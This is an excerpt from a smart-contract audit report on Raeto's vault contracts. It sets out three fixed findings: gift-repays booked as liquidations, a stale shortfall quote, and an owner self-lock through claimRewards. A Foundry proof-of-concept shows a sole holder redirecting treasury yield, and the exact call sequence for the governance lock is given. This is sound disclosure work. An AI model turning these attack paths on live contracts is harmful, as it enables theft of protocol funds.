SEVERITY ● LOW STATUS ● FIXED LOCATION RaetoStockVault.sol

Contract: `RaetoStockVault.sol` L483-491, L381 · Reproduced on a harness (real RaetoStockVault + live Morpho v1.0.0 bytecode)

SUMMARY

`_accrue` treats any drop in the vault's Morpho borrow shares as a liquidation and books the freed USDG to holders (`liquidationPool` / `liqAccPerShare`). It never checks that collateral was seized. Morpho `repay(onBehalf)` is permissionless, so anyone can repay the vault's debt as a gift: no collateral leaves, but the value is booked to holders instead of to the treasury as yield. Separately, `cover()` is the only balance-moving entry that does not call `_accrue`, so a top-up sits as unbooked equity. A dominant holder (share fraction f ≈ 1) can force the misbooking to redirect unbooked carry, or a third party's `cover()`, to themselves as a withdrawable claim while keeping their stock.

FINDING DESCRIPTION

```
if (bs < exp) {                                  // L485: any drop, not just a seizure
    uint256 freed = _toAssetsDown(exp - bs);
    if (bs == 0) { uint256 a = usdgAssets(); freed = a > pendingYield ? a - pendingYield : 0; } // stale
pending
    ...
    liqAccPerShare += Math.mulDiv(freed, ACC_SCALE, ts);
    liquidationPool += freed;                    // credited to holders, never to the treasury
}
```

A real liquidation seizes collateral; a gift-repay does not. `_accrue` cannot tell them apart because it never reads `collateral()`, so it books the gift as a holder liquidation-claim. Elsewhere the vault routes such inflows through `_accrue` as new equity (to `pendingYield` / yield); whether a gift should ultimately accrue to the treasury, to holders, or as a recovery contribution is a protocol-design choice - the defect is that the code decides it by misclassification rather than by intent. The sharpest case is the `bs == 0` branch: `freed = usdgAssets()` (live) `- pendingYield` (stale from the last accrue), so a full permissionless repay reaches it with no seizure and over-books the vault's unbooked sink yield - the treasury's share - into holder claims. A near-sole holder who does the repay then claims that yield in USDG and keeps all their stock (proven below). The amount is only the yield between accruals (sub-cent on-chain today), and a minority holder with fraction f still loses ≈(1−f)·debt.

IMPACT

Bounded and attacker-adverse at base: repaying the vault's debt costs the attacker the full amount, and a dominant holder recovers only f of it, so the base move is a loss of (1−f)·debt. It turns profitable only against value the attacker did not provide - unbooked carry since the last accrue (any accrue resets it; ≈ +0.34 USDG was measured after 90 days on TSLA's ~77 USDG sink), or a `cover()` the attacker front-runs before it is booked. The real, fixable defects are the two code flaws themselves: value that normal yield accounting would route to the treasury can be diverted to holders. The end-to-end profitable redirection is demonstrated by the `bs == 0` variant: a sole holder's full gift-repay over-books the vault's unbooked yield (44,598 wei in the harness) into holder claims, which the holder claims and exits with - netting exactly that, with the treasury's `pendingYield` zeroed.

LIKELIHOOD

Low. Needs a near-sole holder and unbooked value sitting in the vault at the moment of the forced drop.

PROOF OF CONCEPT

Full PoC file `test/report/GiftRepayBookedAsLiquidation.t.sol` - one harness (the real `RaetoStockVault` on the live Morpho Blue v1.0.0 bytecode, etched; mock USDG / stock / oracle / sink), so it runs without a fork:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

import {console2} from "forge-std/Test.sol";
import {Market} from "morpho-blue/interfaces/IMorpho.sol";
import {SVLiqBase} from "../manual/lib/SVLiqHarness.sol";

/// RaetoStockVault._accrue books ANY drop in the vault's Morpho borrow shares to holders
(liquidationPool /
/// liqAccPerShare) without checking that collateral was seized. Morpho repay(onBehalf) is
permissionless, so an
/// outsider can repay the vault's debt as a gift (no seizure) and have it booked as a holder
liquidation claim
/// instead of treasury yield. The sharp case is a FULL repay, which hits the `bs == 0` branch where
/// `freed = usdgAssets()` (live) `- pendingYield` (stale from the last accrue): it over-books the
vault's
/// unbooked sink yield - the treasury's share - to holders, and a sole holder who does the repay then
claims
/// that yield and exits with all their stock. Separately, `cover()` never calls `_accrue`.
/// Harness: the real RaetoStockVault on the live Morpho Blue v1.0.0 bytecode (etched), with mock USDG /
stock /
/// oracle / sink, so it runs without a fork. Run (from raeto-vaults/):
///   FOUNDRY_EVM_VERSION=cancun forge test --match-path test/report/GiftRepayBookedAsLiquidation.t.sol
-vv
contract GiftRepayBookedAsLiquidationTest is SVLiqBase {
    address holder = makeAddr("holder");
    address outsider = makeAddr("outsider"); // no role, no position
    address attacker = makeAddr("attacker");

    /// A partial gift-repay seizes no collateral, yet the borrow-share drop is booked to holders, not
treasury.
    function test_partialGiftRepayIsBookedAsLiquidationNotYield() public {
        _dep(holder, 10e18);
        _lever();
        v.accrue(); // clean, booked state
        uint256 collBefore = v.collateral();
        uint256 poolBefore = v.liquidationPool();
        uint256 pendingBefore = v.pendingYield();

        uint256 repay = 10e6; // 10 USDG gift, repaid by assets (permissionless repay onBehalf)
        usdg.mint(outsider, repay);
        vm.startPrank(outsider);
        usdg.approve(MORPHO_ADDR, repay);
        morpho.repay(mp, repay, 0, address(v), "");
        vm.stopPrank();
        assertEq(v.collateral(), collBefore, "no collateral left the vault"); // not a liquidation

        v.accrue(); // detects the borrow-share drop
        uint256 poolGain = v.liquidationPool() - poolBefore;
        uint256 pendingGain = v.pendingYield() - pendingBefore;
        console2.log("gift repaid / booked to holders / to treasury:", repay, poolGain, pendingGain);
        //@test the drop is booked to holders as a liquidation claim, not to the treasury as yield
        assertApproxEqAbs(poolGain, repay, 1e4, "gift booked to holders");
        assertLe(pendingGain, 1, "treasury got essentially none of it");
    }
```

```
    /// cover() is the only balance-moving entry that does not call _accrue, so a top-up lands unbooked.
    function test_coverDoesNotAccrue() public {
        _dep(holder, 10e18);
        _lever();
        v.accrue();
        uint256 pendingBefore = v.pendingYield();
        uint256 amt = 5e6;
        usdg.mint(outsider, amt);
        vm.startPrank(outsider);
        usdg.approve(address(v), amt);
        v.cover(amt);
        vm.stopPrank();
        //@test cover() ran no _accrue: the top-up is left unbooked
        assertEq(v.pendingYield(), pendingBefore);
    }

    /// Full gift-repay hits the bs==0 branch and books usdgAssets() - stalePending to holders,
exceeding the
    /// gift by the sink yield earned since the last accrue.
    function test_fullGiftRepayOverbooksUnbookedYieldToHolders() public {
        _dep(attacker, 10e18);
        _lever();
        v.accrue(); // clean: pendingYield booked

        uint256 poolBefore = v.liquidationPool();
        uint256 captured = v.usdgAssets();
        sink.gain(5e6); // sink earns yield AFTER the accrue → unbooked, so pendingYield is now stale
        captured = v.usdgAssets() - captured; // the vault's share of that yield

        uint256 repaid = _giftRepayFull(_bs());
        assertEq(v.collateral(), 10e18, "no collateral left the vault"); // not a liquidation

        v.accrue(); // bs == 0 branch
        uint256 booked = v.liquidationPool() - poolBefore;
        console2.log("repaid / booked to holders / overbooking vs unbooked yield:", repaid, booked,
captured);
        //@test stale pendingYield lets freed exceed the gift by exactly the vault's unbooked sink yield
        assertGt(booked, repaid, "bs==0 booked no more than the gift");
        assertApproxEqAbs(booked - repaid, captured, 3, "overbooking ≠ the unbooked yield");
        assertLe(v.pendingYield(), 3, "treasury lost the yield to holders");
    }

    /// The sole holder who does the full repay nets exactly the unbooked yield and keeps all their
stock.
    function test_soleHolderGiftRepayStealsTheTreasuryYield() public {
        uint256 stockIn = 10e18;
        _dep(attacker, stockIn);
        _lever();
        v.accrue();

        uint256 captured = v.usdgAssets();
        sink.gain(5e6);
        captured = v.usdgAssets() - captured;

        uint256 cost = _giftRepayFull(_bs());
        v.accrue();
        uint256 claimed = _claim(attacker);
```

```
        uint256 stockBack = _exit(attacker, v.sharesOf(attacker));

        int256 netUsdg = int256(usdg.balanceOf(attacker)) - int256(cost);
        console2.log("attacker cost / claimed / net USDG:", cost, claimed, uint256(netUsdg));
        //@test sole holder ends up ahead by the treasury's unbooked yield, with every stock token
returned
        assertEq(stockBack, stockIn, "attacker did not get all stock back");
        assertGt(netUsdg, 0, "attacker did not profit");
        assertApproxEqAbs(uint256(netUsdg), captured, 3, "profit ≠ the redirected treasury yield");
        assertLe(v.pendingYield(), 3, "treasury lost the yield");
    }

    function _giftRepayFull(uint256 shares) internal returns (uint256 repaid) {
        Market memory m = morpho.market(id);
        uint256 owe = (shares * (uint256(m.totalBorrowAssets) + 1) + uint256(m.totalBorrowShares) + 1e6
- 1)
            / (uint256(m.totalBorrowShares) + 1e6);
        usdg.mint(attacker, owe);
        vm.startPrank(attacker);
        usdg.approve(MORPHO_ADDR, owe);
        (repaid,) = morpho.repay(mp, 0, shares, address(v), "");
        vm.stopPrank();
    }
}
```

```
[PASS] test_partialGiftRepayIsBookedAsLiquidationNotYield()
  gift repaid / booked to holders / to treasury: 10000000 10000000 0
[PASS] test_coverDoesNotAccrue()
[PASS] test_fullGiftRepayOverbooksUnbookedYieldToHolders()
  repaid / booked to holders / overbooking vs unbooked yield: 900000000 900044598 44598
[PASS] test_soleHolderGiftRepayStealsTheTreasuryYield()
  attacker cost / claimed / net USDG: 900000000 900044598 44598
```

RECOMMENDATION

Distinguish a real liquidation from a gift-repay: only book `freed` when `collateral()` actually decreased - a gift-repay (no seizure) then flows through `_accrue` as ordinary yield instead of a holder claim. It is cleaner than capping `freed` at `_toAssetsDown(exp - bs)` in the `bs == 0` branch, which would under-credit a genuine full wipe (there, bad debt resets Morpho's share price and understates the repaid amount - the reason that branch already values via `usdgAssets()`). Also call `_accrue()` at the top of `cover()`, like every other balance-moving entry point.

REMEDIATION ● FIXED

RAETO

Confirmed, Low. Fixed: `_accrue` only books a liquidation claim when the drop in borrow shares comes with seized collateral (live collateral below the vault's own snapshot). A gift repay now emits `GiftRepayDetected` and flows through normal equity accounting as yield. `cover()` now calls `_accrue()` first.

I-01 shortfallFor quotes an un-accrued gap, so passing it as maxShortfallIn reverts

SEVERITY INFORMATIONAL STATUS FIXED LOCATION RaetoStockVault.sol

SUMMARY

When a stock vault is in loss, a holder must bring USDG to cover their share of the debt to exit. `shortfallFor(shares)` is the view the UI/integrators call to size that amount. It reads Morpho's borrow totals **without accruing interest**, while `withdrawTo` calls `_accrue()` first and charges against the higher, accrued debt. The quoted gap is therefore always a little smaller than the gap actually charged, so a caller who passes the quote verbatim as `maxShortfallIn` has the withdrawal reverted.

CODE FLAW

`shortfallFor` (`RaetoStockVault.sol` L258) is a `view`, so it cannot call `morpho.accrueInterest` - it values the debt from Morpho's **stale** `totalBorrowAssets`:

```
function shortfallFor(uint256 shares) public view returns (uint256) {
    ...
    uint256 owe  = _toAssetsUp(/* borrowShares for `shares` */); // stale: interest not accrued
    uint256 mine = _depositorUsdgFor(shares, ts);
    return owe > mine + dustTolerance ? owe - mine : 0;          // quoted gap
}
```

`withdrawTo` (L272) accrues first, then charges against the **accrued** (larger) debt:

```
_accrue();                                // → morpho.accrueInterest: debt grows
...
uint256 owe = _toAssetsUp(repayShares);   // accrued: larger than shortfallFor's `owe`
uint256 gap = owe - mine;
if (gap > maxShortfallIn) revert InLoss(); // L292: the quote is now too small
```

Since `mine` is unchanged, `gap(accrued) > owe(stale) - mine = shortfallFor(shares)` whenever any interest has accrued between the two calls.

IMPACT

No funds at risk. A holder or integrator who sets `maxShortfallIn` from `shortfallFor` has the exit revert with `InLoss`, so exact gap-sizing from the on-chain view is unreliable. It only matters while the vault is in loss (the only time a shortfall is charged); callers who pad the quote are unaffected.

LIKELIHOOD

High that an *exact* quote reverts - Morpho accrues interest every second, so almost any delay between the `shortfallFor` read and the `withdrawTo` transaction makes the quote stale. Overall there is no direct loss, and padding the quote (or retrying) works around it.

RECOMMENDATION

Make the view match the charge: compute `shortfallFor` against accrued totals - use Morpho's `expectedBorrowAssets` (which projects interest to `block.timestamp`) instead of the raw `totalBorrowAssets` - or document that callers must add a small margin to the quoted gap.

REMEDIATION ● FIXED

RAETO

Confirmed, Informational. Fixed: `shortfallFor` now values the debt with interest projected to the current block (`_expectedBorrowTotals()`, using the market's `borrowRateView` and the same three-term Taylor compounding Morpho uses). Within a block the quote equals what `withdrawTo` charges after `_accrue()`; across blocks it trails by the interest accrued in between, so integrators should keep a small margin.

I-02 claimRewards can target the vault itself, letting the owner permanently lock all governance

SEVERITY ● INFORMATIONAL STATUS ● FIXED LOCATION RaetoVault.sol

SUMMARY

`claimRewards(target, data)` lets the owner make an arbitrary low-level call *from the vault* to collect external rewards. It blocks a few sensitive targets (USDG, the source/queued source, `address(0)`) but **not** `address(this)`. Because the call runs with the vault as `msg.sender`, the owner can route an `acceptOwnership()` through it after `transferOwnership(vault)`, making the vault its own owner. Every `onlyOwner` function then becomes permanently uncallable, and the contract's own "never renounce" guard is bypassed.

CODE FLAW

`claimRewards` guards the asset and source tokens but not the vault address or no-code targets:

```
function claimRewards(address target, bytes calldata data) external onlyOwner nonReentrant {
    if (target == address(asset) || _isSourceToken(target) || target == address(0)) revert
ProtectedToken();
    uint256 assetsBefore = totalAssets();
    (bool ok,) = target.call(data);                    // target == address(this) allowed; runs as the
vault
    if (!ok) revert CallFailed();
    if (totalAssets() < assetsBefore) revert ProtectedToken();  // acceptOwnership moves no assets →
passes
}
```

Ownership is `Ownable2Step`, and renouncing is explicitly disabled, so a lock has no escape:

```
/// @notice Ownership can be transferred but never renounced (emergency functions need an owner).
function renounceOwnership() public view override onlyOwner { revert Disabled(); }
```

Sequence (both calls are `onlyOwner`):

1. `transferOwnership(address(vault))` → `_pendingOwner = vault`.
2. `claimRewards(address(vault), abi.encodeWithSelector(Ownable2Step.acceptOwnership.selector))` → the vault calls its own `acceptOwnership()` as `msg.sender == pendingOwner` → `_owner = vault`.

IMPACT

Permanent, irrecoverable governance lock. With the vault as its own owner, no human can call any `onlyOwner` function again - `setKeeper`, `queueSource` / `executeSource`, `goIdle`, `pullToIdle`, `sweep`, `claimRewards` itself, the treasury/param setters - so the owner-only emergency paths are dead (keeper-only functions still work). `renounceOwnership` reverts and `transferOwnership` is `onlyOwner`, so there is no recovery. Verified on a fork: after the two calls, `owner() == address(vault)`.

LIKELIHOOD

Low. Both steps are `onlyOwner`, so it is not reachable by an outsider - it is an owner-footgun / missing-input-validation issue, not an external attack. But the result is permanent and irrecoverable, which is why the one-line guard is worth adding (and it matters more if the owner key is ever compromised).

RECOMMENDATION

Reject `target == address(this)` (and `target.code.length == 0`) in `claimRewards`, alongside the existing protected-token checks, so a reward call can never re-enter the vault's own privileged surface.

REMEDIATION ● FIXED

RAETO

Confirmed, Informational. Fixed: `claimRewards` now also rejects `target == address(this)` and any target with no code, alongside the protected tokens, so a reward call can no longer reach the vault's own privileged functions.

09 - PLEASE READ

DISCLAIMER

A security audit can never guarantee the complete absence of vulnerabilities. Audits are a time, resource and expertise-bound effort in which we aim to identify as many issues as possible.

This review covers only the files listed in the Scope section at the audited commit. Code changed after that commit, external dependencies, deployment configuration and operational practices may introduce additional risk.

10 - WHO WE ARE

ABOUT KANN AUDITS

Kann Audits is a Web3 security audit company helping DeFi protocols, blockchain networks, and infrastructure teams build securely at every stage, from development to launch and beyond.

EXPERT SECURITY AUDITS

Human-led smart contract security audits built around the architecture, business logic, integrations and risk profile of complex Web3 protocols.

AI SECURITY SCAN

Kann AI extracts Solidity call graphs and returns function-level security signals for expert validation.

FORMAL VERIFICATION

Define security properties for critical protocol behaviour and evaluate whether the implementation satisfies those specifications.

INCIDENT RESPONSE

A direct triage path for suspected exploits, critical vulnerabilities, suspicious transactions and urgent remediation review.

KANN AUDITS

WEB3 SECURITY AUDITS

GET IN TOUCH

WEBSITE	kannaudits.com
PORTFOLIO	github.com/KannAudits
EMAIL	contact@kannaudits.com
X	@KannAudits
TELEGRAM	@KannAudits

© 2026 Kann Audits. Prepared for Raeto.